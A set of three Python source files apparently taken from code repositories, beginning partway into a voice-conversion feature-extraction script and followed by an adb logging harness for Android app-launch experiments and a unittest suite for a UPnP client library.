np.exp((f0_std_trg/f0_std_src)*(np.log(f0[nonzero_indices])-f0_mean_src)+f0_mean_trg) return cvf0 def convert_linf0(f0, f0_mean_src, f0_std_src, f0_mean_trg, f0_std_trg): nonzero_indices = f0 > 0 cvf0 = np.zeros(len(f0)) cvf0[nonzero_indices] = (f0_std_trg/f0_std_src)*(f0[nonzero_indices]-f0_mean_src)+f0_mean_trg return cvf0 def mod_pow(cvmcep, mcep, alpha=MCEP_ALPHA, irlen=IRLEN): cv_e = ps.mc2e(cvmcep, alpha=alpha, irlen=irlen) r_e = ps.mc2e(mcep, alpha=alpha, irlen=irlen) dpow = np.log(r_e/cv_e) / 2 mod_cvmcep = np.copy(cvmcep) mod_cvmcep[:,0] += dpow return mod_cvmcep def extfrm(data, npow, power_threshold=-20): T = data.shape[0] if T != len(npow): raise("Length of two vectors is different.") valid_index = np.where(npow > power_threshold) extdata = data[valid_index] assert extdata.shape[0] <= T return extdata, valid_index def spc2npow(spectrogram): npow = np.apply_along_axis(spvec2pow, 1, spectrogram) meanpow = np.mean(npow) npow = 10.0 * np.log10(npow/meanpow) return npow def spvec2pow(specvec): fftl2 = len(specvec) - 1 fftl = fftl2 * 2 power = specvec[0] + specvec[fftl2] for k in range(1, fftl2): power += 2.0 * specvec[k] power /= fftl return power def low_pass_filter(x, fs, cutoff=LOWPASS_CUTOFF, padding=True): """FUNCTION TO APPLY LOW PASS FILTER Args: x (ndarray): Waveform sequence fs (int): Sampling frequency cutoff (float): Cutoff frequency of low pass filter Return: (ndarray): Low pass filtered waveform sequence """ nyquist = fs // 2 norm_cutoff = cutoff / nyquist # low cut filter numtaps = 255 fil = firwin(numtaps, norm_cutoff) x_pad = np.pad(x, (numtaps, numtaps), 'edge') lpf_x = lfilter(fil, 1, x_pad) lpf_x = lpf_x[numtaps + numtaps // 2: -numtaps // 2] return lpf_x def convert_continuos_f0(f0): """CONVERT F0 TO CONTINUOUS F0 Args: f0 (ndarray): original f0 sequence with the shape (T) Return: (ndarray): continuous f0 with the shape (T) """ # get uv information as binary uv = np.float32(f0 != 0) # get start and end of f0 start_f0 = f0[f0 != 0][0] end_f0 = f0[f0 != 0][-1] # padding start and end of f0 sequence start_idx = np.where(f0 == start_f0)[0][0] end_idx = np.where(f0 == end_f0)[0][-1] f0[:start_idx] = start_f0 f0[end_idx:] = end_f0 # get non-zero frame index nz_frames = np.where(f0 != 0)[0] # perform linear interpolation f = interp1d(nz_frames, f0[nz_frames]) cont_f0 = f(np.arange(0, f0.shape[0])) return uv, cont_f0 def calc_jnt_sdmat(mcep, coeff): assert(len(coeff) == 3) return np.concatenate([mcep,np.insert(mcep[:-1,:]*coeff[0], 0, 0.0, axis=0) + mcep*coeff[1] + np.append(mcep[1:,:]*coeff[2], np.zeros((1,mcep.shape[1])), axis=0)], axis=1) def main(): parser = argparse.ArgumentParser( description="making feature file argsurations.") parser.add_argument("--expdir", required=True, type=str, help="directory to save the log") parser.add_argument( "--waveforms", default=None, help="directory or list of filename of input wavfile") parser.add_argument( "--hdf5dir", default=None, help="directory to save hdf5") parser.add_argument( "--wavdir", default=None, help="directory to save of preprocessed wav file") parser.add_argument( "--fs", default=FS, type=int, help="Sampling frequency") parser.add_argument( "--shiftms", default=SHIFTMS, type=int, help="Frame shift in msec") parser.add_argument( "--minf0", default=MINF0, type=int, help="minimum f0") parser.add_argument( "--maxf0", default=MAXF0, type=int, help="maximum f0") parser.add_argument( "--mcep_dim", default=MCEP_DIM, type=int, help="Dimension of mel cepstrum") parser.add_argument( "--mcep_alpha", default=MCEP_ALPHA, type=float, help="Alpha of mel cepstrum") parser.add_argument( "--pow", default=-20, type=float, help="Power threshold") parser.add_argument( "--fftl", default=FFTL, type=int, help="FFT length") parser.add_argument( "--highpass_cutoff", default=HIGHPASS_CUTOFF, type=int, help="Cut off frequency in lowpass filter") parser.add_argument( "--n_jobs", default=10, type=int, help="number of parallel jobs") parser.add_argument( "--verbose", default=1, type=int, help="log message level") args = parser.parse_args() # set log level if args.verbose == 1: logging.basicConfig(level=logging.INFO, format='%(asctime)s (%(module)s:%(lineno)d) %(levelname)s: %(message)s', datefmt='%m/%d/%Y %I:%M:%S', filename=args.expdir + "/feature_extract.log") logging.getLogger().addHandler(logging.StreamHandler()) elif args.verbose > 1: logging.basicConfig(level=logging.DEBUG, format='%(asctime)s (%(module)s:%(lineno)d) %(levelname)s: %(message)s', datefmt='%m/%d/%Y %I:%M:%S', filename=args.expdir + "/feature_extract.log") logging.getLogger().addHandler(logging.StreamHandler()) else: logging.basicConfig(level=logging.WARN, format='%(asctime)s (%(module)s:%(lineno)d) %(levelname)s: %(message)s', datefmt='%m/%d/%Y %I:%M:%S', filename=args.expdir + "/feature_extract.log") logging.getLogger().addHandler(logging.StreamHandler()) logging.warn("logging is disabled.") # read list if os.path.isdir(args.waveforms): file_list = sorted(find_files(args.waveforms, "*.wav")) else: file_list = read_txt(args.waveforms) # check directory existence if not os.path.exists(args.wavdir): os.makedirs(args.wavdir) if not os.path.exists(args.hdf5dir): os.makedirs(args.hdf5dir) def feature_extract(wav_list, arr): n_sample = 0 n_frame = 0 max_frame = 0 count = 1 coeff = np.array([-0.5,0.5,0.0]) for wav_name in wav_list: # load wavfile and apply low cut filter fs, x = read_wav(wav_name, cutoff=args.highpass_cutoff) n_sample += x.shape[0] logging.info(wav_name+" "+str(x.shape[0])+" "+str(n_sample)+" "+str(count)) # check sampling frequency if not fs == args.fs: logging.debug("ERROR: sampling frequency is not matched.") sys.exit(1) hdf5name = args.hdf5dir + "/" + os.path.basename(wav_name).replace(".wav", ".h5") time_axis_range, f0_range, spc_range, ap_range = analyze_range(x, fs=fs, minf0=args.minf0, maxf0=args.maxf0, fperiod=args.shiftms, fftl=args.fftl) #write_hdf5(hdf5name, "/time_axis_range", time_axis_range) write_hdf5(hdf5name, "/f0_range", f0_range) time_axis, f0, spc, ap = analyze(x, fs=fs, fperiod=args.shiftms, fftl=args.fftl) #write_hdf5(hdf5name, "/time_axis", time_axis) write_hdf5(hdf5name, "/f0", f0) uv, cont_f0 = convert_continuos_f0(np.array(f0)) uv_range, cont_f0_range = convert_continuos_f0(np.array(f0_range)) cont_f0_lpf = low_pass_filter(cont_f0, int(1.0 / (args.shiftms * 0.001)), cutoff=20) cont_f0_lpf_range = low_pass_filter(cont_f0_range, int(1.0 / (args.shiftms * 0.001)), cutoff=20) codeap = pw.code_aperiodicity(ap, fs) codeap_range = pw.code_aperiodicity(ap_range, fs) mcep = ps.sp2mc(spc, args.mcep_dim, args.mcep_alpha) mcep_range = ps.sp2mc(spc_range, args.mcep_dim, args.mcep_alpha) #sdmcep_range = calc_jnt_sdmat(mcep_range, coeff) #sdnpmcep_range = calc_jnt_sdmat(mcep_range[:,1:], coeff) npow = spc2npow(spc) npow_range = spc2npow(spc_range) mcepspc_range, spcidx_range = extfrm(mcep_range, npow_range, power_threshold=args.pow) logging.info(wav_name+" "+str(mcepspc_range.shape[0])+" "+str(mcepspc_range.shape[1])+" "+str(count)) #sdmcepspc_range, spcidx_range = extfrm(sdmcep_range, npow_range, power_threshold=args.pow) #sdnpmcepspc_range, spcidx_range = extfrm(sdnpmcep_range, npow_range, power_threshold=args.pow) cont_f0_lpf = np.expand_dims(cont_f0_lpf, axis=-1) cont_f0_lpf_range = np.expand_dims(cont_f0_lpf_range, axis=-1) uv = np.expand_dims(uv, axis=-1) uv_range = np.expand_dims(uv_range, axis=-1) if codeap.ndim == 1: codeap = np.expand_dims(codeap, axis=-1) if codeap_range.ndim == 1: codeap_range = np.expand_dims(codeap_range, axis=-1) feats = np.concatenate([uv, cont_f0_lpf, mcep, codeap], axis=1) write_hdf5(hdf5name, "/mcep_range", mcep_range) #write_hdf5(hdf5name, "/sdmcep_range", sdmcep_range) #write_hdf5(hdf5name, "/sdnpmcep_range", sdnpmcep_range) feat_org_lf0 = np.c_[uv_range,np.log(cont_f0_lpf_range),codeap_range,mcep_range] write_hdf5(hdf5name, "/feat_org_lf0", feat_org_lf0) #sdfeat_org_lf0 = calc_jnt_sdmat(feat_org_lf0, coeff) #write_hdf5(hdf5name, "/sdfeat_org_lf0", sdfeat_org_lf0) write_hdf5(hdf5name, "/npow", npow) write_hdf5(hdf5name, "/npow_range", npow_range) write_hdf5(hdf5name, "/mcepspc_range", mcepspc_range) #write_hdf5(hdf5name, "/sdmcepspc_range", sdmcepspc_range) #write_hdf5(hdf5name, "/sdnpmcepspc_range", sdnpmcepspc_range) write_hdf5(hdf5name, "/spcidx_range", spcidx_range) n_frame += feats.shape[0] if max_frame < feats.shape[0]: max_frame = feats.shape[0] count += 1 wavpath = args.wavdir + "/" + os.path.basename(wav_name) logging.info(wavpath) sp_rec = ps.mc2sp(mcep_range, args.mcep_alpha, args.fftl) wav = np.clip(pw.synthesize(f0, sp_rec, ap_range, fs, frame_period=args.shiftms), -32768, 32767) wavfile.write(wavpath, fs, np.int16(wav)) arr[0] += len(wav_list) arr[1] += n_sample arr[2] += n_frame if (len(wav_list) > 0): logging.info(str(len(wav_list))+" "+str(n_sample/len(wav_list))+" "+str(n_frame/len(wav_list))) logging.info("max_frame = %d" % (max_frame)) # divie list file_lists = np.array_split(file_list, args.n_jobs) file_lists = [f_list.tolist() for f_list in file_lists] # multi processing processes = [] arr = mp.Array('d', 3) logging.info(arr[:]) for f in file_lists: p = mp.Process(target=feature_extract, args=(f,arr)) p.start() processes.append(p) # wait for all process for p in processes: p.join() logging.info(str(arr[0])+" "+str(arr[1])+" "+str(arr[1]/arr[0])+" "+str(arr[2])+" "+str(arr[2]/arr[0])) if __name__ == "__main__": main()
logging_functions.py
# The following code is based on the ProcHarvester implementation # See https://github.com/IAIK/ProcHarvester/tree/master/code/adb-record-tools import subprocess import time import config import pexpect import shutil import datetime import os from threading import Thread # Do not change these constants without changing the logging app! LOGGING_APP = "at.tugraz.iaik.scandroid" NORMAL_PERM = ".normalpermissions" DANGEROUS_PERM = ".dangerouspermissions" SYSTEM_LEVEL_PERM = ".systemlevelpermissions" COMMAND_RECEIVE_ACTIVITY = "/at.tugraz.iaik.scandroid.services.CommandReceiverService" COMMAND_KEY = "CMD" ARG_KEY = "ARG" CMD_START_LOGGING = "START_LOGGING" CMD_STOP_LOGGING = "STOP_LOGGING" CMD_TRIGGER_EVENT = "TRIGGER_EVENT" LOGCAT_SYNC_MESSAGE = "--SYNC_MESSAGE--:" LOGCAT_LOADING_DONE = "LOADING_DONE" LOGCAT_INIT_DONE = "INIT_DONE" WAIT_TIMEOUT = 15000000 # s def adb(command, get_output=False): try: if get_output: return subprocess.getoutput('adb shell \"' + command + '\"') else: subprocess.run(['adb', 'shell', command]) except FileNotFoundError: raise ConnectionError("adb connection failed") def wait_for_logcat(sync_message, timeout=WAIT_TIMEOUT, logcat_sync_message=LOGCAT_SYNC_MESSAGE): try: # subprocess.run(['adb', 'logcat', "-c"]) subprocess.run(['adb', 'logcat', '-G', '20m']) wait = True while wait: try: child = pexpect.spawn('adb logcat --regex=\"' + logcat_sync_message + '\" *:I') child.expect(logcat_sync_message + sync_message, timeout=timeout) wait = False except pexpect.EOF: # ignore adb EOF which happens if the device is printing too much wait = True except FileNotFoundError: raise ConnectionError("adb logcat connection failed") def return_to_home_screen(): adb("am start -a android.intent.action.MAIN -c android.intent.category.HOME") def start_logging_app(clean_start=True): if clean_start: # clear logcat and kill logging app first since we need to return to home screen after sending commands subprocess.run(['adb', 'logcat', "-c"]) kill_app(LOGGING_APP) send_command(CMD_START_LOGGING) def start_logging_procedure(clean_start=True, return_to_home=True): #startRuntimeExceptionWatcherThread() start_logging_app(clean_start) wait_for_logcat(LOGCAT_LOADING_DONE) print("Loading of APIHarvester done") if return_to_home: return_to_home_screen() # time.sleep(config.DELAY_AFTER_KILL) def stop_logging_app(): send_command(CMD_STOP_LOGGING) time.sleep(config.DELAY_AFTER_KILL) return get_log() def watchForRuntimeException(): subprocess.run(['adb', 'logcat', "-c"]) wait_for_logcat("FATAL EXCEPTION:", 99999999, "") print( "\033[91mRuntime exception has occurred on the phone! Something went wrong. Look into logcat for details.\033[0m") os._exit(-1) exit(-1) def startRuntimeExceptionWatcherThread(): thread = Thread(target=watchForRuntimeException) thread.start() def get_log(): # wait_for_logcat("") now = str(datetime.datetime.now())[:19] now = now.replace(":", "_") android_path = "/sdcard/Android/data/" + LOGGING_APP + "/files/" subprocess.run(['adb', 'pull', android_path]) directory = "files/" source = os.listdir(directory) destination = "../analysis-tool/record_files/session_" + now + "/" os.mkdir(destination) for file in source: if file.endswith(".txt"): shutil.move(directory + file, destination + file) shutil.rmtree(directory) return destination def trigger_new_event(target_label): send_command(CMD_TRIGGER_EVENT, target_label) def send_command(command, argument=None): command_string = "am startservice -n " + LOGGING_APP + COMMAND_RECEIVE_ACTIVITY + " --es " + COMMAND_KEY + " " + command if argument is not None: command_string += " --es " + ARG_KEY + " " + argument print(command_string) adb(command_string) def kill_app(package_name): adb("am force-stop " + package_name) def launch_app(package_name, get_output=False, trigger_event=True): if trigger_event: trigger_new_event(package_name) return adb("monkey -p " + package_name + " -c android.intent.category.LAUNCHER 1", get_output)
test_upnpclient.py
import unittest import threading import os.path as path import os import datetime import base64 import binascii from uuid import UUID import mock import requests from requests.compat import basestring from lxml import etree import upnpclient as upnp try: import http.server as httpserver except ImportError: import SimpleHTTPServer as httpserver try: import socketserver as sockserver except ImportError: import SocketServer as sockserver try: from urllib.parse import ParseResult except ImportError: from urlparse import ParseResult class EndPrematurelyException(Exception): pass class TestUPnPClientWithServer(unittest.TestCase): @classmethod def setUpClass(cls): """ Set up an HTTP server to serve the XML files. Set the correct port in the IGD.xml URLBase element. """ # Have to chdir here because the py2 SimpleHTTPServer doesn't allow us # to change its working directory like the py3 one does. os.chdir(path.join(path.dirname(path.realpath(__file__)), "xml")) cls.httpd = sockserver.TCPServer( ("127.0.0.1", 0), httpserver.SimpleHTTPRequestHandler ) cls.httpd_thread = threading.Thread(target=cls.httpd.serve_forever) cls.httpd_thread.daemon = True cls.httpd_thread.start() cls.httpd_port = cls.httpd.server_address[1] with open("upnp/IGD.xml", "w") as out_f: with open("upnp/IGD.xml.templ") as in_f: out_f.write(in_f.read().format(port=cls.httpd_port)) @classmethod def tearDownClass(cls): """ Shut down the HTTP server and delete the IGD.xml file. """ cls.httpd.shutdown() try: os.unlink("upnp/IGD.xml") except OSError: pass def setUp(self): self.server = upnp.Device("http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port) @mock.patch("requests.post") def test_device_auth(self, mock_post): auth = ("myuser", "mypassword") device = upnp.Device( "http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port, http_auth=auth ) ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetSubnetMaskResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewSubnetMask>255.255.255.0</NewSubnetMask> </u:GetSubnetMaskResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret ret = device("GetSubnetMask") _, kwargs = mock_post.call_args self.assertIn("auth", kwargs) self.assertEqual(kwargs["auth"], auth) @mock.patch("requests.post") def test_device_auth_call_override(self, mock_post): dev_auth = ("devuser", "devpassword") call_auth = ("calluser", "callpassword") device = upnp.Device( "http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port, http_auth=dev_auth ) ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetSubnetMaskResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewSubnetMask>255.255.255.0</NewSubnetMask> </u:GetSubnetMaskResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret ret = device("GetSubnetMask", http_auth=call_auth) _, kwargs = mock_post.call_args self.assertIn("auth", kwargs) self.assertEqual(kwargs["auth"], call_auth) @mock.patch("requests.post") def test_device_auth_call_override_none(self, mock_post): dev_auth = ("devuser", "devpassword") call_auth = None device = upnp.Device( "http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port, http_auth=dev_auth ) ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetSubnetMaskResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewSubnetMask>255.255.255.0</NewSubnetMask> </u:GetSubnetMaskResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret ret = device("GetSubnetMask", http_auth=call_auth) _, kwargs = mock_post.call_args self.assertIn("auth", kwargs) self.assertEqual(kwargs["auth"], dev_auth) @mock.patch("requests.post") def test_device_auth_none_override(self, mock_post): dev_auth = None call_auth = ("calluser", "callpassword") device = upnp.Device( "http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port, http_auth=dev_auth ) ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetSubnetMaskResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewSubnetMask>255.255.255.0</NewSubnetMask> </u:GetSubnetMaskResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret ret = device("GetSubnetMask", http_auth=call_auth) _, kwargs = mock_post.call_args self.assertIn("auth", kwargs) self.assertEqual(kwargs["auth"], call_auth) @mock.patch("requests.post") def test_device_headers(self, mock_post): headers = dict(test="device") device = upnp.Device( "http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port, http_headers=headers ) ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetSubnetMaskResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewSubnetMask>255.255.255.0</NewSubnetMask> </u:GetSubnetMaskResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret ret = device("GetSubnetMask") _, kwargs = mock_post.call_args self.assertEqual(kwargs["headers"]["test"], "device") @mock.patch("requests.post") def test_device_headers_call_override(self, mock_post): dev_headers = dict(test="device") call_headers = dict(test="call") device = upnp.Device( "http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port, http_headers=dev_headers ) ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetSubnetMaskResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewSubnetMask>255.255.255.0</NewSubnetMask> </u:GetSubnetMaskResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret ret = device("GetSubnetMask", http_headers=call_headers) _, kwargs = mock_post.call_args self.assertEqual(kwargs["headers"]["test"], "call") @mock.patch("requests.post") def test_device_headers_call_override_none(self, mock_post): dev_headers = dict(test="device") call_headers = None device = upnp.Device( "http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port, http_headers=dev_headers ) ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetSubnetMaskResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewSubnetMask>255.255.255.0</NewSubnetMask> </u:GetSubnetMaskResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret ret = device("GetSubnetMask", http_headers=call_headers) _, kwargs = mock_post.call_args self.assertEqual(kwargs["headers"]["test"], "device") @mock.patch("requests.post") def test_device_headers_none_override(self, mock_post): dev_headers = None call_headers = dict(test="call") device = upnp.Device( "http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port, http_headers=dev_headers ) ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetSubnetMaskResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewSubnetMask>255.255.255.0</NewSubnetMask> </u:GetSubnetMaskResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret ret = device("GetSubnetMask", http_headers=call_headers) _, kwargs = mock_post.call_args self.assertEqual(kwargs["headers"]["test"], "call") def test_device_props(self): """ `Device` instance should contain the properties from the XML. """ server = upnp.Device("http://127.0.0.1:%s/upnp/IGD.xml" % self.httpd_port) self.assertEqual( server.device_type, "urn:schemas-upnp-org:device:InternetGatewayDevice:1" ) self.assertEqual(server.friendly_name, "SpeedTouch 5x6 (0320FJ2PZ)") self.assertEqual(server.manufacturer, "Pannaway") self.assertEqual(server.model_description, "DSL Internet Gateway Device") self.assertEqual(server.model_name, "Pannaway") self.assertEqual(server.model_number, "RG-210") self.assertEqual(server.serial_number, "0320FJ2PZ") def test_device_nonexists(self): """ Should return `HTTPError` if the XML is not found on the server. """ self.assertRaises( requests.exceptions.HTTPError, upnp.Device, "http://127.0.0.1:%s/upnp/DOESNOTEXIST.xml" % self.httpd_port, ) def test_services(self): """ All of the services from the XML should be present in the server services. """ service_ids = [service.service_id for service in self.server.services] self.assertIn("urn:upnp-org:serviceId:layer3f", service_ids) self.assertIn("urn:upnp-org:serviceId:lanhcm", service_ids) self.assertIn("urn:upnp-org:serviceId:wancic", service_ids) def test_actions(self): """ Action names should be present in the list of server actions. """ action_names = set() for service in self.server.services: for action in service.actions: action_names.add(action.name) self.assertIn("SetDefaultConnectionService", action_names) self.assertIn("GetCommonLinkProperties", action_names) self.assertIn("GetDNSServers", action_names) self.assertIn("GetDHCPRelay", action_names) def test_findaction_server(self): """ Should find and return the correct action. """ action = self.server.find_action("GetSubnetMask") self.assertIsInstance(action, upnp.Action) self.assertEqual(action.name, "GetSubnetMask") def test_findaction_server_nonexists(self): """ Should return None if no action is found with the given name. """ action = self.server.find_action("GetNoneExistingAction") self.assertEqual(action, None) def test_findaction_service_nonexists(self): """ Should return None if no action is found with the given name. """ service = self.server.services[0] action = self.server.find_action("GetNoneExistingAction") self.assertEqual(action, None) @mock.patch("requests.post") def test_callaction_server(self, mock_post): """ Should be able to call the server with the name of an action. """ ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetSubnetMaskResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewSubnetMask>255.255.255.0</NewSubnetMask> </u:GetSubnetMaskResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret ret = self.server("GetSubnetMask") self.assertEqual(ret, dict(NewSubnetMask="255.255.255.0")) @mock.patch("requests.post") def test_callaction_noparam(self, mock_post): """ Should be able to call an action with no params and get the results. """ ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetAddressRangeResponse xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1"> <NewMinAddress>10.0.0.2</NewMinAddress> <NewMaxAddress>10.0.0.254</NewMaxAddress> </u:GetAddressRangeResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret action = self.server.find_action("GetAddressRange") self.assertIsInstance(action, upnp.Action) response = action() self.assertIsInstance(response, dict) self.assertEqual(response["NewMinAddress"], "10.0.0.2") self.assertEqual(response["NewMaxAddress"], "10.0.0.254") @mock.patch("requests.post") def test_callaction_param(self, mock_post): """ Should be able to call an action with parameters and get the results. """ ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetGenericPortMappingEntryResponse xmlns:u="urn:schemas-upnp-org:service:Layer3Forwarding:1"> <NewInternalClient>10.0.0.1</NewInternalClient> <NewExternalPort>51773</NewExternalPort> <NewEnabled>true</NewEnabled> </u:GetGenericPortMappingEntryResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret action = self.server.find_action("GetGenericPortMappingEntry") response = action(NewPortMappingIndex=0) self.assertEqual(response["NewInternalClient"], "10.0.0.1") self.assertEqual(response["NewExternalPort"], 51773) self.assertEqual(response["NewEnabled"], True) def test_callaction_param_missing(self): """ Calling an action without its parameters should raise a UPNPError. """ action = self.server.find_action("GetGenericPortMappingEntry") self.assertRaises(upnp.UPNPError, action) def test_callaction_param_invalid_ui2(self): """ Calling an action with an invalid data type should raise a UPNPError. """ action = self.server.find_action("GetGenericPortMappingEntry") self.assertRaises(upnp.ValidationError, action, NewPortMappingIndex="ZERO") @mock.patch("requests.post") def test_callaction_param_mashal_out(self, mock_post): """ Values should be marshalled into the appropriate Python data types. """ ret = mock.Mock() ret.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:GetGenericPortMappingEntryResponse xmlns:u="urn:schemas-upnp-org:service:Layer3Forwarding:1"> <NewInternalClient>10.0.0.1</NewInternalClient> <NewExternalPort>51773</NewExternalPort> <NewEnabled>true</NewEnabled> </u:GetGenericPortMappingEntryResponse> </s:Body> </s:Envelope> """ mock_post.return_value = ret action = self.server.find_action("GetGenericPortMappingEntry") response = action(NewPortMappingIndex=0) self.assertIsInstance(response["NewInternalClient"], basestring) self.assertIsInstance(response["NewExternalPort"], int) self.assertIsInstance(response["NewEnabled"], bool) def test_callaction_nonexisting(self): """ When a non-existent action is called, an InvalidActionException should be raised. """ service = self.server.services[0] try: service("NoSuchFunction") self.fail("An InvalidActionException should be raised.") except upnp.InvalidActionException: pass @mock.patch("requests.post") def test_callaction_upnperror(self, mock_post): """ UPNPErrors should be raised with the correct error code and description. """ exc = requests.exceptions.HTTPError(500) exc.response = mock.Mock() exc.response.content = """ <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <s:Fault> <faultcode>s:Client</faultcode> <faultstring>UPnPError</faultstring> <detail> <UPnPError xmlns="urn:schemas-upnp-org:control-1-0"> <errorCode>401</errorCode> <errorDescription>Invalid Action</errorDescription> </UPnPError> </detail> </s:Fault> </s:Body> </s:Envelope> """.strip() mock_post.side_effect = exc action = self.server.find_action("SetDefaultConnectionService") try: action(NewDefaultConnectionService="foo") except upnp.soap.SOAPError as exc: code, desc = exc.args self.assertEqual(code, 401) self.assertEqual(desc, "Invalid Action") @mock.patch("requests.Session.send", side_effect=EndPrematurelyException) def test_subscribe(self, mock_send): """ Should perform a well formed HTTP SUBSCRIBE request. """ cb_url = "http://127.0.0.1/" try: self.server.layer3f.subscribe(cb_url, timeout=123) except EndPrematurelyException: pass req = mock_send.call_args[0][0] self.assertEqual(req.method, "SUBSCRIBE") self.assertEqual( req.url, "http://127.0.0.1:%s/upnp/event/layer3f" % self.httpd_port ) self.assertEqual(req.body, None) self.assertEqual(req.headers["NT"], "upnp:event") self.assertEqual(req.headers["CALLBACK"], "<%s>" % cb_url) self.assertEqual(req.headers["HOST"], "127.0.0.1:%s" % self.httpd_port) self.assertEqual(req.headers["TIMEOUT"], "Second-123") @mock.patch("requests.Session.send", side_effect=EndPrematurelyException) def test_renew_subscription(self, mock_send): """ Should perform a well formed HTTP SUBSCRIBE request on sub renewal. """ sid = "abcdef" try: self.server.layer3f.renew_subscription(sid, timeout=123) except EndPrematurelyException: pass req = mock_send.call_args[0][0] self.assertEqual(req.method, "SUBSCRIBE") self.assertEqual( req.url, "http://127.0.0.1:%s/upnp/event/layer3f" % self.httpd_port ) self.assertEqual(req.body, None) self.assertEqual(req.headers["HOST"], "127.0.0.1:%s" % self.httpd_port) self.assertEqual(req.headers["SID"], sid) self.assertEqual(req.headers["TIMEOUT"], "Second-123") @mock.patch("requests.Session.send", side_effect=EndPrematurelyException) def test_cancel_subscription(self, mock_send): """ Should perform a well formed HTTP UNSUBSCRIBE request on sub cancellation. """ sid = "abcdef" try: self.server.layer3f.cancel_subscription(sid) except EndPrematurelyException: pass req = mock_send.call_args[0][0] self.assertEqual(req.method, "UNSUBSCRIBE") self.assertEqual( req.url, "http://127.0.0.1:%s/upnp/event/layer3f" % self.httpd_port ) self.assertEqual(req.body, None) self.assertEqual(req.headers["HOST"], "127.0.0.1:%s" % self.httpd_port) self.assertEqual(req.headers["SID"], sid) @mock.patch("requests.Session.send", side_effect=EndPrematurelyException) def test_args_order(self, mock_send): """ Arguments should be called in the order they're listed in the specification. This test is non-deterministic, as there's a chance that the arguments will naturally end up in the correct order. However, I've deemed this pretty much OK because the chance of that happening is one in four hundred and three septillion, two hundred and ninety one sextillion, four hundred and sixty one quintillion, one hundred and twenty six quadrillion, six hundred and five trillion, six hundred and thirty five billion, five hundred and eighty four million (403,291,461,126,605,635,584,000,000). Good luck! :) """ alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" args_in = list(alphabet) try: self.server.lanhcm.InArgsTest(**{x: "test" for x in args_in}) except EndPrematurelyException: pass req = mock_send.call_args[0][0] tree = etree.fromstring(req.body) nsmap = tree.nsmap.copy() nsmap.update({"m": "urn:schemas-upnp-org:service:LANHostConfigManagement:1"}) args = [ x.tag for x in tree.xpath("SOAP-ENV:Body/m:InArgsTest", namespaces=nsmap)[ 0 ].getchildren() ] 